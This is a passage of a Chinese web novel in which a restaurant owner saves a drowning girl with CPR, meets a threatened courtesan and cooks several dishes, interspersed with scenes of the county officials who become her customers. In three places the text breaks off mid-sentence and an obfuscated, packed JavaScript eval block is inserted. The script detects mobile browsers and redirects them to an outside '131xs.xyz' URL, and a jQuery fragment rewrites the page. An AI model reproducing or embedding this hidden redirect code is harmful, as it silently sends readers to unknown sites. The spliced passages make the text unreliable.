往前走远了些，她听到琴声从不远处传来，有人在坟头之间席地而坐，吃喝谈笑，这也形成了一种风俗，除去那种今年还是新坟的情况，因家人过世不久，有哭声传来。 其余的就跟出来春游似的，远处的平地还有玩“蹴鞠”的。 朝廷起初觉得有伤风化，还曾经多次颁布法令，要求禁止“寒食墓前作乐”。 虽然禁令严格，百姓依然趁此时机，设宴欢聚，聚集在郊外踏青、斗鸡等，看得出来本朝人对生死的态度较为豁达。 杜昭华走了挺远一段路，都没有找到能摘的柳枝，不是没有柳树，只是都快被其他人薅秃了，坟前插柳的风俗可害惨了柳树。 没办法只能往更远些的地方找找，忽地，前面传来吵闹喧哗声，人们围成一圈，吵嚷声不断，断断续续还有哭声夹杂在其中，八卦应该是人的天性，杜昭华就没有忍住，好奇地往里走去。 人群并没有围很密，杜昭华轻易地就走到了前排。 地上躺着一个小娘子，脸色苍白如纸，跪坐一旁的嬷嬷哭喊：“娘子......娘子。”一边转头急道：“严郎中呢，怎么还没有来，快去再催催！” 小厮连忙跑出人群，丫鬟霜降已经哭红了双眼，跪在小娘子身旁，泪流不止。 “这是哪家的娘子哟，也太可怜了，年纪还这么小嘞。”一位妇人低声问旁人。 另一个人压低了声音回道：“好像是虞国公府的，小娘子从水里捞出来，起先还有呼吸呢，看丫鬟刚那样，估计呼吸都没了。” “什么国公府？” 杜昭华听着旁边人的对话，听的不太真切，依稀听到水里捞出、呼吸等词，垂目看了一眼地上的女孩，胸口几乎没有起伏。 顾不得其他，她走上前去，推开跪坐一旁的丫鬟和嬷嬷，她们脸色大变，正要开口。 杜昭华盯着她们，目光中带着一抹严肃和不容置疑，“不想你们家娘子死，就退到一边，赶紧让围着的人群散开，保持空气流通。”她说完迅速查看小娘子的状况。 姜嬷嬷拦住还要上前的霜降，冷静道：“按这个娘子说的去做。”严郎中迟迟不来，而娘子她...... 这边，杜昭华要立即进行心肺复苏，将她的头偏向一侧，清除掉她口鼻中的异物，找准位置进行胸外按压，按压三十次后，再做两次人工呼吸，如此循环往复，额头上不禁冒出汗。 汗珠往下滴落，杜昭华也顾不上眼睛的刺痛，一边在心中默默计数。 霜降攥紧衣襟，眼睛一眨也不眨地盯着杜昭华的动作，姜嬷嬷双手合十，嘴里喃喃道：”南无药师琉璃光如来，愿佛保佑，娘子平安醒过来。” 终于，小娘子有了动静，她咳嗽起来，并吐出水，姜嬷嬷惊喜道：“娘子，娘子......你醒了！” 霜降喜极而泣，松开紧紧攥在手中的衣襟，“太好了......太......好了，娘子......” 小娘子眼皮颤动，然后缓慢睁开了眼睛，见她恢复了意识，杜昭华扶她坐起来，让她半靠着跪在一旁的姜嬷嬷，“尽量多咳嗽一会，有助于清除体内的水分。” “姜嬷嬷，郎中来了......郎中来了！”一个小厮一边跑一边大声喊，话落一匹马快速跑来。 严郎中从马背上下来，险些没有站稳，被人眼疾手快地扶住。显然被颠得不轻，顾不上其他，他扶正了下药箱，匆忙上前。 后面的治疗，杜昭华是帮不上忙的，立即让开位置，此时大家的心神都放在小娘子身上。 她默默退到一边，继续去找她的柳枝，再耽搁下去，白荷娘估计都要急着来找她了。还好这次没有走多远，就找到了一棵还没秃的柳树。 很轻松地就摘到了几枝柳枝，在她转身之际，忽地听到歌声从背后穿来，曲调悠扬动听，女子的声音如黄莺出谷。 杜昭华回眸望去，是一群人在宴饮作乐，唱歌的女子不仅有一把好嗓子，长得也极美，芙蓉如面柳如眉，姿态婉丽。 视线扫到一旁，是一个中年男子，身材中等，身着华服，却衬的相貌愈发普通，真是鲜花插在牛粪上。 杜昭华摇摇头离去。 白荷娘时不时垫脚往娘子离开的方向瞧一眼，就在她忍不住要去寻找时，娘子出现在视野中，“娘子，你怎么去了这么久？”不等杜昭华回答，视线扫过衣袖，急道：“娘子这是怎么了，衣袖湿了，还有衣摆也沾上了泥沙？” “我没事。”杜昭华将柳枝插在坟上，简单讲了下刚刚发生的事。 白荷娘担忧道：“没事就好，娘子我们还是尽快回去吧，将衣服换了，以免着凉。” 杜昭华对着墓碑叩头行礼祭拜，“回吧。” 牛车停在这片墓葬区外，就是她刚才摘柳的方向。要穿过一片小树林，杜昭华连忙拉住白荷娘躲在一颗树后，竖起一根手指，示意噤声。 那个唱歌的美人——被一个嬷嬷按住肩膀，跪在地上，一缕碎发滑落贴在脸颊上，左脸浮肿有一道清晰可见的五指印。 贵妇打扮的女子凝视着素黎那屈辱的姿态，嘴角似有若无地牵起一抹冷笑，“他不过是贪一时新鲜罢了，你少动歪心思，下次再有掉落的香囊，就不会如此简单了。” “娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811597|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然坚信你们情比金坚，为何如此急切地来找奴家？” “刚刚婢女不过是去跟二郎说我想吃萧家馄饨，他便离席去买了，就凭你三言两语就想挑拨？”贵妇拍拍裙子不存在的灰尘，对嬷嬷使了个眼色，转身离开，“你先掂量自己几斤几两吧。” 嬷嬷松手狠声道：“我家娘子好心劝谏你一回，你可不要不识好歹，下回你这脸蛋就不一定能保住了。”说罢跟上贵妇的脚步。 素黎起身盯着贵妇离开的背影看了好一会才出声道：“出来吧。”她早就看到了树后面的露出来的一片衣角。 杜昭华尴尬地挠挠头，虽不是故意偷听，但被当场抓包...... 见白荷娘也一脸尴尬，还有些不好意思地脸红了，她突然就淡定了。 她拉着白荷娘从树后走出来，轻轻嗓子，坦然道：“我们就是碰巧路过，要到对面去，我们牛车就停在那。” 素黎目光扫向她，随即莞尔一笑，毫不在乎脸上的巴掌印，“奴家认识你，杜娘子。” 杜昭华面露诧异，相貌如此出众的女子，要是以前见过，不可能没有印象的。 看出她的疑惑，温声道：“奴家是北里女子，你不认识正常，春香经常去杜记买桃花馄饨，奴家很喜欢。” “原来春香是你的丫鬟，食肆最近新出了一款香饮子——桃花饮，想必你也会喜欢的，”杜昭华忍不住心里叹息，如此女子流落风尘，太可惜了。 至于听到的墙角，观她眼神清澈，坦然以对，其中必有隐情，不知全貌，杜昭华不予置评。 她见杜昭华知道了自己的身份，依旧神态自若地与她推荐杜记的食物，笑道：“那奴家可要好好尝尝，杜娘子若不嫌弃，直接唤奴家素黎便是。” 忽地传来急切的脚步声，“娘子！”春香急忙上前，见娘子脸上的红肿，担忧道：“是不是魏夫人让人打的？我不该离开娘子身边的，我......”说着眼眶泛红， “好啦，只是看着吓人而已，擦点药膏就行了，你在不过是多一个人受罪。”素黎朝杜昭华行礼道：“奴家不便久留，就此别过，有缘再见。” 杜昭华回礼，轻轻挑眉一笑，“我觉得我们挺有缘，会再见的，素黎”就这一会都见到两回了。 ...... 回去路上，白荷娘忍不住道：“素黎娘子她......,没有想到春香竟是她丫鬟。” 杜昭华挑眉道：“女子在这个世道生存，本就比男子艰辛，我们女人何苦为难女人，小荷，你不会看不起她吧？” “我怎会看不起她，只是觉得惋惜。”白荷娘理解女子的艰辛，她要是没有逃出来，哪来如今安稳的生活。 她不过是依靠娘子才能好好活着，家？想起父亲，只有动辄打骂她的记忆，母亲虽从不曾动手，被打只会劝她忍，甚至母亲是默认让她嫁给鳏夫的，明知她这一嫁，凶多吉少。 但是那一百文，估计是母亲大半辈子唯一的积蓄，她对母亲的感情很复杂...... 9. 清明节 回到食肆，换好衣服的杜昭华在一旁指点白荷娘做午食，羊肉汆面外加一份炒菘菜。 首先是手擀面条，水与面粉的比例一般是1比2，不同于机器压的面，手擀面吃的就是面条的韧性。 羊腿肉切成薄片，放入姜末、葱花、酱油和盐腌制一会。 所谓汆面讲究三呲，一呲就是油与葱姜产生的反应，然后酱油呲啦，然后加水呲啦。等水开下面条，再次水开将羊肉放进去，入水为汆，出锅前加点胡荽。 女主不急着吃面，先喝了一口汤，面汤鲜香浓郁，面条也相当不错，筋道爽滑，入口有嚼劲，并且汤汁都浸润到面条中了，白露这揉面团的技术真是越发好了。 羊肉鲜嫩多汁，葱花和胡荽又增添了独特的风味。 “娘子，这比之前吃到的羊肉馎饦好吃多了！”她都不相信这是她做出来的，原来馎饦还可以这样做。 杜昭华笑道：“那是自然，也是小荷手艺好。” 她羞赧地挠了挠头，“是娘子教得好。” 两人结束商业互夸后，收拾完一切，来到院子中。 搬出躺椅，懒洋洋地往上一躺，天气晴朗，阳光洒在身上，不晒却让人觉得暖洋洋的，真是偷得浮生半日闲，令人都不禁满足的喟叹一声。 躺在躺椅上看那云卷云舒，偶尔吹来一阵轻柔的微风，拂过面颊，两人都没有再说话，静静地享受此刻的静谧。 如今的院子被她们收拾的很是温馨，原先地上的杂草被清理干净，种上了月季，依次是月月粉、月月红、春水绿波以及软香红，深深浅浅的粉，再过渡到红，等花开一定很美。 青石板路右边角落的菜地郁郁葱葱，韭菜生长旺盛，叶片鲜嫩翠绿，芜菁叶片也已舒展，根部逐渐膨大，萝卜已被摘得差不多了。 ...... 不同小院的宁静，曲江池确是喧嚣吵闹的。 曲江池水被映得碧波荡漾，岸边垂柳如烟，池畔道路却被车马行人挤得水泄不通，“香车宝马络绎不绝”。 四天小长假，长安城几乎“倾巢而出”，百姓携家带口涌向曲江池。 仕女们荡起“半仙之戏”的秋千，郎君们在草地上踢鞠，吸引不少围观群众，池畔还有不少商贩摆摊卖“青粳饭”“寒具”等寒食特色小吃，好不热闹。 在人们欢度节日时，却有一波人看着这热闹的场面头疼不已，曲江池属于万年县管辖区，每到重大节日，都需要派人值守此处，当然不只他们县衙的人，还有左右金吾卫以及京兆府。 很不巧今天轮值的就是宋君衍，他坐在一个茶摊前，一边喝着茶，一边吃着青团，京兆府法曹参军徐诚见此也走过来歇会，他随手分了两个给徐诚。 看着池畔旁边愈来愈多的人，徐诚紧皱眉头，每年这种大节日，他都过得心惊胆颤的，人多总是会闹出不少事，小偷小摸的也多，人贩子也喜欢在这种时候浑水摸鱼。 瞥了一眼宋县尉，这位倒是很淡定，他因为查案没少与宋县尉打交道。 话说，铁打的下属，流水的县令和京兆尹，说的就是他们，他们的上官几乎一年一换，附郭县令可不好当，尤其还是附郭京城，宋县尉才任职两年，都成了万年县老人咯。 一边如是想着，他接过青团，笑道：“谢过宋县尉。”打开纸袋，一口咬下，青团皮韧性有嚼劲，入口是浓郁的艾草香味，豆沙温润细腻，甜度适中，不像他吃过的甜腻腻的糕点。 剩余半个被他一口吃完，迫不及待地打开另一个，居然是咸蛋黄馅料的。 蛋黄里的油脂融化到青团皮中，外皮在咀嚼中释放艾草的甘香，与油润的蛋黄咸甜交织在一起，绵绵沙沙的，仔细咀嚼还有一种絮状触感的东西，不知是什么，但是带着一股咸鲜的肉香。 好东西啊，“宋县尉，这个青团是府上厨娘做的？味道甚好。”徐诚不一会就解决了两个青团。 “杜记食肆买来的。”宋君衍刚吃完一个红豆青团，心想还是蛋黄肉松的更好吃。 “原来又是杜记的啊。”他听同僚说起过杜记食肆，说是最近新开的一家食肆，店家擅长烹饪猪肉，同僚说味道甚佳，但也不便宜。 低头看了眼扁扁的荷包，叹气，转而一想，马上就可以领俸禄了，反正他一人吃饱全家不饿，下次休沐日就去吃一顿。 正想着，他就觉得空气中的香味越来愈浓，环视一周，附近多了好些个仕女，或是来茶摊买茶的，或是在旁边的小摊买“子推蒸饼的”，但是她们的目光不时地投向他——旁边的方向，这明显醉翁之意不在酒。 徐诚瞥了一眼不为所动的宋县尉，的确生得丰神俊朗，家世也好，都弱冠之年了，怎么就还没有成亲呢？ ...... 渡过了悠闲的下午，清明节当天杜昭华又忙碌起来了，今天有许多人来取预订的青团，她得趁着这波热度赚一笔，清明过后，吃青团的就没有这么多了，所以，过节啥的，还是算了，她更喜欢赚钱。 这会的荠菜有些老了，换成韭菜盒子，正好菜园的韭菜可以收割一波了，桃花也卖不了多久了，是时候琢磨一下新品了。 吃了一天冷食的吴三郎，终于是吃不下去了。 自己一人偷溜来杜记改善下伙食。于是发现了有韭菜盒子，杜娘子说还是头茬嫩韭菜煎的，那肯定得尝一下。 韭菜盒子外皮金黄，吴三郎拎起一个，嘎吱一口半个，“咔嚓”一声响，入口是满满的韭菜香气和鸡蛋的味道。 他嚼了嚼咽下去，自言自语道：“好香！这才是我该吃的早食。”转头想到兄长们，不觉有点心虚，要不带点回去给他们吃？ 如是想着，手里动作却不停，剩余半个一口吃完，外皮焦脆里头确是鲜嫩的。 吃完再喝一口香甜软糯的桃花粥，粥呈现出一种恰到好处的浓稠度，煮到开花的米粒在舌尖化开。 清晨的一碗粥，让人感到无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811598|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比满足。 时辰还早，眼见排队的人多了些，他赶紧上前排队。 白荷娘双手递给他，笑道：“吴郎君，这是你的韭菜盒子。” “有劳白娘子。” 注视他离开的背影，随即白荷娘低头继续烙饼。 等送走一波食客，店里只有两三个客人了，杜昭华端着一碗桃花粥喝了一口，今早太忙了，以至于早食就只吃了一个韭菜盒子，忙到这会都有些饿了。 “小荷，你也再吃点。” 两人正吃着，食肆门口停了一辆马车。 宋君衍撩开车帘，下马车后径直朝杜昭华走去，身后跟着一个管家，还有两个奴仆正不断从马车上搬礼盒下来。 “昨日舍妹在郊外不慎跌落河中，幸好有杜娘子相帮，某今日便是来替舍妹感谢杜娘子，这些薄礼还请收下。”宋君衍一进食肆就开门见山地说明来意。 许管家示意奴仆将礼盒搬进去，等一个一个礼盒被奴仆搬到店中。 杜昭华怔愣了下，心下感慨，这世界真小，原来昨天救的小娘子是他的妹妹，她连忙回礼道：“宋县尉客气了，不过是举手之劳罢了，当不得如此重谢。”她随意瞥了一眼那堆满柜台一旁的空地的漆木盒。 “杜娘子是舍妹的救命恩人，自当受得起。”他将视线投向杜娘子，嘴角扬起一抹浅笑。 杜昭华见食肆的客人不时地往这里看一眼，她也不想来回拉扯，盈盈一笑道：“既如此，我便收下了。” 这一切皆被徐诚看在眼里，昨天吃了青团的他，对此念念不忘，今天便来吃早食，大餐他吃不起，难道还吃不起一个饼吗？ 没想到看到了这样一幕，他看了看店家，容仪婉美，再看看宋县尉，容仪俊爽。 心中划过一个念头，片刻后又摇摇头将此想法抛之脑后，吃完一个韭菜盒子后，他更加坚定了要攒钱来吃一顿午食。 这边在宋县尉离开后，杜昭华两人将漆木盒搬进后院，她大致看了一眼，有绫罗等布匹、文房四宝以及——香料。 令杜昭华惊喜的是有一个盒子中居然放了两罐香料，分别是胡椒和孜然，胡椒自是不必说，本朝虽然比前朝便宜了些许，但依然价格昂贵，平民吃不起，基本都是富户和贵族才会用。 居然还有孜然！ 本朝称为安息茴香，价格也不便宜，但低于胡椒许多，只是现在的人多是当药材使用的，没有想到这宋县尉相当会吃。 白荷娘双眼亮晶晶地盯着一匹春水绿花纹绫看，转头笑道：“娘子，这布料好漂亮啊！” 杜昭华点头表示赞同，扫视一圈，这批谢礼价值不菲，垂眸看一眼手中宋县尉给的门帖——宣阳坊虞国公府。 ...... 清明过后，雨水变少，气温也在逐渐上升，桃花的花期也进入尾声，杜昭华打算下架桃花一系列的产品，新增面食，因此，目前早食供应韭菜盒子，生煎包，再加一个炸酱面。 10. 炸酱面和烤羊排 炸酱面主要是熬制炸酱，凉油放入姜片和八角，将香味炸出来，捞出后放入肥肉丁，煸炒至金黄，这时空气中就弥漫开来一股炸猪油的油脂香，放入瘦肉丁，再加入姜末。 最后加入调制好的酱料，大泡熬制成冒小泡，说明水份快熬干了，再放入葱花和香油，出锅前加一点蜂蜜，特别提香。 炸酱的好吃秘诀在于每一次加料都要将水分炒干。 这可是杜昭华学了现代京城朋友家的自制秘方，京城人家里的炸酱面可是招待外地朋友的最高礼遇，关系近的才能请到家里去吃到的哟。 不少人惋惜吃不到桃花馄饨了，但是炸酱面的到来为他们打开了一个新世界的大门。 孙主簿已经成为杜记的忠实粉丝，每次上新都会去尝试，正好今天是休沐日，有时间堂食。 炸酱面端上桌时，入眼便是肉香浓郁的炸酱、翠绿的黄瓜丝、嫩白的豆芽以及橙红的胡萝卜丝，色彩斑斓，让人赏心悦目。 将其拌匀后，他迫不及待地吃了一大口，初入口时，先是感受到炸酱的咸香，随后是肉丁的鲜香和菜蔬的清脆爽口，随着咀嚼，是筋道爽滑的面条混合着各种食材的口感在口中交织，令人回味无穷。 “店家，来一份生煎包。” “生煎包没有了。” 刚买到生煎包的一书生拎着纸袋赶紧走，幸好他买到了，这是杜记最近新出的一样吃食，每天限量供应，他可是早早的就来排队了。 这边孙主簿吃完，并没有急着走，等客人都走得差不多了，他走上前去,笑容可掬道：“听说宋大郎的妹妹之前失足落水，是杜娘子救了她？” “既然都听说了，那想必孙主簿已了解事情经过。”第一次见孙主簿就能看出他与宋县尉关系匪浅，他会知道也不稀奇。 孙主簿闻言眉头微微扬起，“我与宋大郎情同手足，既如此，杜娘子唤某孙三郎就行，叫孙主簿显得太生分。” 杜昭华顺从地改口道：“孙三郎。” “那我们就是熟人了。”他环视一圈，见没有客人了，轻咳一声接着道：“最近来杜记买朝食的人太多了，我呢每天还要赶早上衙......” 原来在这里等着她，还绕了这么一大圈。 杜昭华忍不住翘起唇角，眸中盈上满满的笑意，“那孙三郎以后提前一天告知我，要买什么，我预先准备好。” “那就这么说定了。” “说定什么了？”一个女子的声音自门口传来。 “杜姐姐。”宋琬款步走入食肆中，身后跟着丫鬟霜降。 来人正是宋君衍的妹妹，自她身体好了之后，又亲自登门道谢了一番。 于杜昭华来说，第一次见面还是有些尴尬的，虽然当时是为了救人，但不管怎么说，做人工呼吸后，再次见到对方，多少有些不自在。 宋琬也明显听说了救治过程，小脸微红的同她致谢。 好在杜昭华还是脸皮更厚，不一会两人就熟络起来，宋琬刚好小她一岁，便称呼她姐姐，宋琬就时不时的来一趟杜记食肆。 “孙三郎怎么也在此？你和杜姐姐说定什么了？”宋琬好奇地打量两人。 “大人的事，你一个小孩就别管啦。” 宋琬闻言便不理会他，转身对杜昭华嫣然一笑道：“我这次带来了些樱桃给杜姐姐尝鲜。” 杜昭华无奈一笑，“之前不是说好了，不用每次来都带东西上门的。” 宋琬看了霜降一眼，她立马拎着食盒熟练地往后院走去。 “阿琬午食就在我这吃吧，午食吃炙羊排，绝对是你没有吃过的味道。” 还未等宋琬回应，孙三郎凑过去道：“杜娘子，加我一个吧，有什么需要我做的，尽管吩咐。”说完他觉得可能还不够真诚，怕杜娘子拒绝，接着道：“我明天也可以带些樱桃给杜娘子的。” ...... 让孙三郎进厨房帮忙是不可能的，他只会帮倒忙，眼看各个都有活干，他一个大男人被晾在一边。 扫视一眼小院，终是找到了他能干的活——打井水。 今早特意买的一扇羊排，本意是一半清炖，一半烤着吃，现在得全部烤了，没有科技也是有好处的，羊肉都是现宰杀不久的，肉质新鲜。 羊排是杜昭华特意挑选的肥瘦相间的，放入蒜、姜、葱以及盐，再把雪梨切成片放进去，放点水果可以增添一些果香味，再加点蜂蜜腌制一会。 好的羊排不需要太多的调料，不然会掩盖羊肉本身的味道，接下里就是准备点香料。 杜昭华回身看了一眼本就不大的厨房，站了好几个人，赶忙道：“阿琬你可以去书房看书，或者和孙三郎下棋也可。” 本朝男女大防相对不严，女子可骑马、乘车参与郊游、宴饮。这两人还是远房表亲关系，据阿琬说，她母亲的表妹的堂姐嫁给了孙三郎母亲的庶弟的表兄。 她这个无论现代还是古代都是独女的人，实在是没有捋清这其中的关系。 宋琬的厨艺也就仅限于做一些糕点，还是婢女将食材都处理好的情况下，就这她就可以说这是她亲手做的糕点了，毕竟世家女子的厨艺都差不多是这种水平。 她留下霜降帮忙，与孙三郎一同离开了厨房。 宋琬却不愿意与孙三郎下棋，无他，他就是个臭棋篓子，还总是悔棋，她宁愿去书房看书。 孙三郎早就看到了院子中摆放的两个样式奇怪的椅子，他这会也不想着下棋的事了，径直走过去躺在椅子上。 随着后背缓缓下沉，躺椅发出细微的“吱吖”声，椅身带动身体摇摆，重心不稳让他慌张了下，但是很快他就发现了其中的乐趣，不自觉放松身体，待会要问下杜娘子哪里买来的。 一早就垒好的的烤炉，杜昭华并没有经常用，一开始用的时候，还很不顺手，也是磨合了好一阵后，才摸清了怎么控制这个烤炉的火力。 将炒香的花椒、胡椒、和孜然粒磨成粉末，再均匀的洒在羊排上，将羊排揉搓抓拌一下以便入味，放进烤炉中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811599|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 等烤羊排的香味慢慢飘出来，厨房里炖的东坡肉也快好了，一时间，小院里香味扑鼻。 看书的、摇躺椅的都坐不住了，眼巴巴地盯着烤炉看。 白荷娘也不禁走过去感叹，“好香啊！” 等杜昭华过来的时候，三人齐刷刷地歪头看向她，她脚步一顿，有一种嗷嗷待哺的雏鸟的感觉。 羊排从烤炉中拿出来时，光看金黄酥脆的外表就能看出味道一定不差的。 一刀切下去，直接流淌出汁水。 众人齐齐坐下，在美食面前，就连宋琬都在她人的劝说下，暂时放弃用餐礼仪，一个个都拿着一根羊排啃起来。 羊肉入口，油脂直接在嘴里爆开，外皮酥脆，内里鲜嫩多汁，孜然的香味瞬间弥漫，经过简单的腌制，羊肉的味道很纯，吃出了羊肉的原汁原味，香料完美地与羊肉融合，属于是画龙点睛之笔。 “杜娘子，这道炙羊排与八仙楼的炙羊肉相比也不逊色，为何食肆不卖这个？”孙三郎吃的满嘴流油，连忙拿出手帕擦拭。 “羊肉贵，香料更贵，眼下我这小食肆怕是难以承受。” 相比之下，宋琬的吃相就优雅多了，小口小口地吃着，“是加了安息茴香吗？府里的厨娘曾用这个炙羊肉，就是没有你做的入味，这做法还是我阿兄跟厨娘提的，我还没有见过其他人用这香料制作菜肴的。” “是安息茴香，用来炙肉可以去腥、增香提味。”她没有说的是，她们吃的孜然还是她兄长送来的，此刻她很怀疑宋县尉送孜然，是厨娘做的不如他意，想看她能否做的好吃。 孙三郎注意到杜娘子说的是现在不做，的确这个食肆太小了，“杜娘子是想再开一家食肆吗？不知可否在宣阳坊开？宣阳坊不仅有皇亲国戚，官员也多，还因为挨着国子监，每年许多举子来此赁房备考春闱，万年县县衙也在此。” 他是半点也不提，宣阳坊竞争也大，关键是租金比她现在这个坊至少要翻两倍，想要租到铺面也很难，难道是她不想去吗？她还是赚的不够多。 杜昭华慢条斯理地开口：“正好也方便你来食肆吧。” 孙三郎嘿嘿一笑，低头继续啃羊排。 ...... 眼见着气温上升，杜昭华带着白荷娘整理下菜地，把原先买的种子一一种下，包括偷偷混入其中的辣椒种子，种花家人就是没有地也要在阳台搞种植，她就是曾经在阳台种菜的一员，因此她还是有信心种好的。 当然，她并不承认没有把全部的种子拿出来种，其实是心里有些心虚的，她的确在阳台种过菜，可是什么都没有种出来，可以说种什么，什么都死了。 现在不是还有白荷娘么，她种菜可是一把好手。 随着气温升高的还有香饮子的销量，杜昭华发现东坡肉的销量减少了一些，还不是很明显。 她想得提前做准备，逐渐少做些东坡肉和狮子头，也有段时间没有上新菜式了，正好菜贩今天送来了不少豆腐，那就做酿豆腐。 11. 酿豆腐 朝食来一碗酱香浓郁的炸酱面，再喝一杯紫苏饮，清凉的草本气息如薄荷般清爽醒脑，淡淡的辛辣味之后是轻微的甘甜。 杜昭华觉得这种独特的口感越喝越上头，她都将它当成咖啡喝，提神醒脑的作用甚至比咖啡还好。 柜台后挂上一块木牌——酿豆腐。 食肆里客人渐渐多了起来，孙三郎这时上门来取他的外卖订单了。 白荷娘连忙去厨房里把那几份朝食给到他，他到这时感受到了不用排队的快乐。 孙三郎接过，并且递给她一个食盒，“这里面是樱桃，昨天说好，要给杜娘子的。”不给她推辞的时间，塞她手里后转身出门，骑马离开。 白荷娘放好樱桃，继续煎韭菜盒子。 “娘子！” 正在煮面条的杜昭华听到熟悉的声音抬眼望去，一个中年妇女背着包袱，身形狼狈地站在食肆门口，有些手足无措地看着她。 “元娘，你怎么来了？”来人曾是家里的厨娘，不过早就被放了奴籍，让她回家了。 “我......我......”元娘眼眶泛红，欲言又止，喉咙像被哽住。 杜昭华将她迎进后院，给她到了一杯水，“你先在这里坐会，等我忙完这一阵再说。” 元娘闻言就要放下包袱，欲起身帮忙，“娘子，我来帮你。”娘子何曾受过这种苦，从小不说锦衣玉食，也是衣食无忧地长大的。 杜昭华按住她的肩膀，“不用了，也快忙完了。” ...... 万年县县衙内，孙三郎一口咬下生煎包，入口先是最上面软软的外皮，接着是鲜嫩裹满汁水的肉馅，咬到底部时嘴里发出“咔嚓”一声轻响。 肉香、葱香、芝麻香交织在一起，香气四溢。 他满足地吃完早食，还不忘对着宋君衍念叨，昨天吃到的炙羊排是多么的美味，又惋惜不知何时才能再吃到杜娘子做的羊排。 宋君衍听闻此事，拿起帕子擦了擦嘴角，随意般地问：“你也吃到了？”昨天就听妹妹说了，只是并没有说他也去了。 孙三郎一本正经地说道：“是呀，我昨天去杜记吃早食，正好碰见杜娘子说要请宋大娘吃炙羊排，杜娘子见我也在，就一并邀请了。” 宋君衍斜睨了他一眼，嘴角勾起一抹淡笑，“我妹妹也去了。”语气着重强调妹妹一词，孙三郎说的他一个字都不会信，这人一向脸皮厚的很。 孙三郎咳嗽一声道：“反正我就是吃到了，我觉得比八仙楼做的要更好吃。” ...... 食肆后院，杜昭华耐心地听元娘诉说她离开杜家后的遭遇，只是她听的直皱眉头。 白荷娘则气的脸都涨红了，她和元娘之前相处过一段时间，元娘对她很好。 简而言之就是一个白眼狼的故事。 元娘独自一人抚养儿子，是为了给儿子吕大郎治病才自卖自身的，后来被母亲朱淑静买回来当厨娘，元娘的月钱也总是攒着一文不花，就是想留下来给吕大郎的。 杜家遭遇变故，放她奴籍，也是想让她与家人团聚，她带着所有银钱回去，一开始母慈子孝，元娘愧疚这么些年没有好好照顾他，带着补偿的心态，她手里的钱不知不觉就被吕大郎骗走了。 有一天得知元娘拿不出钱了，便也不装孝子了，儿媳妇也一改温和的笑脸。 “娘子，你买了元娘吧，不用月钱，只要让我待在娘子身边，有一口饭吃就行。”说着，元娘就跪在地上，一脸期盼地盯着杜昭华。 杜昭华吓一跳，赶忙要扶她起来，却没有想到元娘铁了心要跪在地上不起来，一时竟没能将她拉起来。 “娘子，奴婢本就是杜家买回去的厨娘，求娘子收下我吧。”元娘认死理，认为只有成为娘子的奴婢了，她才能安心地继续待在娘子身边。 杜昭华垂眸看了一眼元娘，不过才三十多岁，鬓边已生白发，脸色更是憔悴不已，瞧着像四五十岁的人，她也了解元娘执拗的性子，不同意，只怕是出去乞讨也不会留下来，深深地叹了一口气。 “元娘，你先起来吧，此事我答应你了。” “多谢娘子，奴婢定会好好干活的。”元娘知道如今的娘子开了一家食肆，而她本就是厨娘。 至此，元娘就以仆人的身份留在了小院，时下买仆人是需要签订正式的契约，并且将情况报备至当地官府。 等一切办理好，元娘的精气神儿肉眼可见地好了许多，就像放下了重担似的，走路都带风，又恢复到了杜昭华记忆里那个利落爽直的样子。 ...... 豆腐一刀切对角分成两块三角形，中间划一刀。 肉末加入葱、酱油、姜和盐，打入鸡蛋搅拌均匀。再将肉末塞入豆腐中，这个过程就叫酿。 锅中热油，把豆腐三个面都煎至金黄，放入铺了菘菜的砂锅中，杜昭华将多余的肉馅也放入锅中，淋上酱汁，煮开后小火焖煮一会至收汁浓稠。 最后洒上灵魂葱花。 元娘夹起一块酿豆腐，咬下一口，微眯着眼，细细咀嚼，豆腐鲜香嫩滑，肉香浓郁，肉馅的咸鲜与豆腐的清香相互融合，咸香四溢，口感丰富。 她睁开眼惊奇道：“娘子好手艺，真没有想到娘子做的菜肴如此美味。” 刚来那会，她没有心思去想别的，食不知味，现在回想起来，今天午食的客人确实很多。她还想着自己的厨艺可以帮到娘子，这会突然没有底气了。 杜昭华见她脸色微变，便知她又多想了，“元娘的厨艺也是不错的，尤其你做的那道鱼羹，父亲就很喜欢，我也是从小吃到大的。” “娘子喜欢，明天就做给娘子吃。” “此事不急，现在食肆主要是用猪肉做菜肴，小荷也学了一段时间，厨艺精进不少，元娘你先跟着她学做那几道菜肴。” “好的，娘子。” 白荷娘弱弱地开口问，“我还能教元娘做菜？我不行的，我还没有......”，也不过才两个多月的时间，怎么就能教元娘了。 杜昭华对上她的目光，露出一抹温 